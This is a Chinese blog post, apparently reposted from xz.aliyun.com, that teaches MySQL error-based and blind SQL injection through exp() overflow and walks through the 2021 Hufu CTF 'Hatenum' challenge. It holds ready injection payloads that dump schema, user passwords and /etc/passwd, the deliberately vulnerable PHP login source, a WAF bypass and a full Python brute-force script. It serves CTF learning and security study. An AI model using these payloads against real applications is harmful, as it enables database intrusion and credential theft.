如何使用 MySQL exp() 函数进行 Sql 注入
微wx笑 2023-01-13【数据库】 2 0关键字: MySQL Sql注入
前言前段时间做 2021 虎符杯 CTF Finalweb Hatenum 这道题时学到了使用 MySQL exp() 函数进行注入的新姿势,这里系统的总结一下。话不多少,开搞!MySQL exp() 函数MySQL中的EXP(
前言
前段时间做 2021 虎符杯 CTF Finalweb Hatenum 这道题时学到了使用 MySQL exp() 函数进行注入的新姿势,这里系统的总结一下。话不多少,开搞!
MySQL exp() 函数
MySQL中的EXP()函数用于将E提升为指定数字X的幂,这里E(2.718281 ...)是自然对数的底数。
EXP(X)
该函数返回E的X次方后的值,如下所示:
mysql> select exp(3);+--------------------+| exp(3) |+--------------------+| 20.085536923187668 |+--------------------+1 row in set (0.00 sec)mysql>
该函数可以用来进行 MySQL 报错注入。但是为什么会报错呢?我们知道,次方到后边每增加 1,其结果都将跨度极大,而 MySQL 能记录的 Double 数值范围有限,一旦结果超过范围,则该函数报错。这个范围的极限是 709,当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误:
mysql> select exp(709); +-----------------------+ | exp(709) | +-----------------------+ | 8.218407461554972e307 | +-----------------------+ 1 row in set (0.00 sec) mysql> select exp(710); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'mysql>
除了 exp() 之外,还有类似 pow() 之类的相似函数同样是可利用的,他们的原理相同。
使用 exp() 函数进行报错注入
使用版本:MySQL5.5.5 及以上版本
现在我们已经知道当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误。那么我们在实际利用中如何让 exp() 报错的同时返回我们想要得到的数据呢?
我们可以用 ~
运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 MySQL 的 Double 数组范围,从而报错输出:
mysql> select ~(select version());+----------------------+| ~(select version()) |+----------------------+| 18446744073709551610 |+----------------------+1 row in set, 1 warning (0.00 sec)mysql> select exp(~(select * from(select version())x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.29' from dual)))'mysql> select exp(~(select * from(select user())x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'mysql> select exp(~(select * from(select database())x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'ctf' from dual)))'mysql>
如上图所示,成功报错并输出了数据。但是事实证明,在 MySQL>5.5.53 之后,exp() 报错不能返回我们的查询结果,而只会得到一个报错:
而在脚本语言中,就会将这些错误中的一些表达式转化成相应的值,从而爆出数据。
注出数据
得到表名:
mysql> select exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'flag,users' from dual)))'mysql>
得到列名:
mysql> select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name='users')x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'id,username,password' from dual)))'mysql>
检索数据:
mysql> select exp(~ (select*from(select group_concat(id, 0x7c, username, 0x7c, password) from users)x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '1|admin|123456,2|whoami|657260,3|bunny|864379' from dual)))'mysql>
读取文件(有13行的限制):
mysql> select exp(~(select * from(select load_file('/etc/passwd'))x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' from dual)))'
一蹴而就
这个查询可以从当前的上下文中 dump 出所有的 tables 与 columns,我们也可以 dump 出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果:
mysql> select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000ctf::flag::idctf::flag::flagctf::users::idctf::users::usernamectf::users::password' from dual)))'mysql>
Injection in Insert
根据 Insert 位置的注入方式按部就班就好了。假设原来的插入语句如下:
insert into users(id,username,password) values(4,'john','679237');
我们可以在 username 或 password 位置插入恶意的 exp() 语句进行报错注入,如下所示:
# 在username处插入: john' or exp(~(select * from(select user())x)),1)#, 则sql语句为: insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1)#','679237');mysql> insert into users(id,username,password) values(4,'john' or exp(~(select * from(select user())x)),1);#','679237');;ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'mysql>
爆出所有数据:
# 在username处插入: john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1)#mysql> insert into users(id,username,password) values(4,'john' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1);#','679237');ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000ctf::flag::idctf::flag::flagctf::users::idctf::users::usernamectf::users::password' from dual)))'mysql>
Injection in Update
根据 Update 位置的注入方式按部就班就好了。假设原来的插入语句如下:
update users set password='new_value' WHERE username = 'admin';
我们可以在 new_value 或后面的 where 子句处插入恶意的 exp() 语句进行报错注入,如下所示:
# 在new_value处插入: abc' or exp(~(select * from(select user())x))#, 则sql语句为: update users set password='abc' or exp(~(select * from(select user())x))# WHERE username = 'admin';mysql> update users set password='abc' or exp(~(select * from(select user())x));# WHERE username = 'admin';ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'mysql>
使用 exp() 函数进行盲注
有的登录逻辑会根据 sql 语句的报错与否返回不同的结果,如果我们可以控制这里得报错的话便可以进行盲注。下面我们通过一个 CTF 例题来进行详细探究。
2021 虎符杯 CTF Finalweb Hatenum
进入题目是一个登录页面:
题目给出了源码:
home.php
<?phprequire_once('config.php');if(!$_SESSION['username']){
header('location:index.php');}if($_SESSION['username']=='admin'){
echo file_get_contents('/flag');}else{
echo 'hello '.$_SESSION['username'];}?>
登录进去便能得到flag。
login.php
<?phprequire_once('config.php');array_waf($_POST);if(isset($_POST['username'])&&isset($_POST['password'])&&isset($_POST['code'])){
$User = new User();
switch ($User->login($_POST['username'],$_POST['password'],$_POST['code'])) {
case 'success':
echo 'login success';
header('location:home.php');
break;
case 'fail':
echo 'login fail';
header('location:index.php');
break;
case 'error':
echo 'error';
header('location:index.php');
break;
}}else{
die('no use');}?>
config.php
<?phperror_reporting(0);session_start();class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->query("select * from users where username='$username'");
if($res->num_rows>0){
return True;
}
else{
return False;
}
}
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){ // 如果sql语句报错就返回error
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}
}}function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){ die('Hack detected'); }}function num_waf($str){ if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){ die('Huge num detected');
}}function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}}
过滤的死死地,把我会的都过滤了,甚至过滤了一些我压根不会的。但还是遗漏了一些字符,比如反斜杠 \
、括号 ()
等。
有了反斜杠 \
之后,我们可以在 username 中输入转义符将前面的引号转义,造成引号错误闭合,实现万能密码:
"username": "admin\\","password": "||1#","code": "xxx"
但是还需要 code 才行,所以我们的思路是使用 rlike(即regexp)按照之前regexp匹配注入的方法,将 code 匹配出来。
我们又在 login 函数中注意到:
if($this->conn->error){ // 如果sql语句报错就返回error return 'error';}
如果 sql 语句出现错误便返回字符串 "error",然后进入到 login.php 中就会返回 error。根据这里的特性,如果我们可以控制这里的报错的话,便可以进行盲注。
但是怎么构造呢?
在网上的看到了大佬的思路是真的巧妙:
||exp(710-(... rlike ...))
即如果 (... rlike ...)
中的语句执行匹配后的结果为True,经过减号转换后为 exp(710-1)
后不会溢出;若为false,转换为 exp(710-0)
后则会溢出并报错。
大致的 payload 如下:
'username': 'admin\\','password': '||exp(710-(code rlike binary {0}))#','code': '1'
但是由于过滤了引号,所以 rlike 无法直接引入 %
和 ^
,按照之前regexp注入的操作我们可以将 ^
联通后面猜测的字符一块做 Hex 编码,即:
def str2hex(string): # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result......passwd = str2hex('^' + name + j)payloads = payload.format(passwd).replace(' ',chr(0x0c))postdata = {
'username': 'admin\\',
'password': payloads,
'code': '1'}
但是令我没有想到的是,题目还限制了 password 位置匹配的字符串长度,最长只能匹配 4 个字符,如果超过了 4 个则会返回 Huge num detected 错误。那这样的话我们便不能在 payload 里面使用 ^
了,也就没有办法在正则表达式中确定首位的位置,我们只能知道有这么几个连续的字符,就像下面这样:
然后首先爆破出前三位来,然后再通过前 3 位爆第4位,再通过第2、3、4位爆第5位......
编写如下脚本进行爆破:
import requestsimport stringdef str2hex(string): # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + resultstrs = string.ascii_letters + string.digits + '_'url = "http://be2ae7e7-9c0e-4f21-8b3a-97e28c20d79c.node3.buuoj.cn/login.php"headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'}payload = '||exp(710-(code rlike binary {0}))#'if __name__ == "__main__":
name = ''
z = 3
for i in range(1, 40):
for j in strs:
passwd = str2hex(name + j)
payloads = payload.format(passwd).replace(' ',chr(0x0c))
postdata = {
'username': 'admin\\',
'password': payloads,
'code': '1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
#print(r.text)
if "fail" in r.text:
name += j
print(j, end='')
break
if len(name) >= 3:
for i in range(1, 40):
for j in strs:
passwd = str2hex(name[z - 3:z] + j) # ergh
payloads = payload.format(passwd).replace(' ', chr(0x0c))
postdata = {
'username': 'admin\\',
'password': payloads,
'code': '1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
# print(r.text)
if "fail" in r.text:
name += j
print(j, end='')
z += 1
break
出结果了,别高兴的太早,因为这里陷入了一个死循环当中:
erghruigh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh......
可以看到爆出 erghruigh2
之后不停地循环出现 uygh2
,所以我们可以推测出真正的 code 里面有两个 gh2
,其中位于前面的那个 gh2
后面紧跟着一个 u
,即 gh2u
。后面那个 gh2
后面跟的是那个字符我们还不能确定,那我们便可以测试一下除了 u
以外的其他字符,经测试第二个 gh2
后面跟的字符是 3
,即 gh23
,然后继续根据 h23
爆破接下来的字符就行了,最后得到的 code 如下:
erghruigh2uygh23uiu32ig
然后直接登陆即可得到 flag:
Ending......
转自:https://xz.aliyun.com/t/9849
本文为转载文章,版权归原作者所有,不代表本站立场和观点。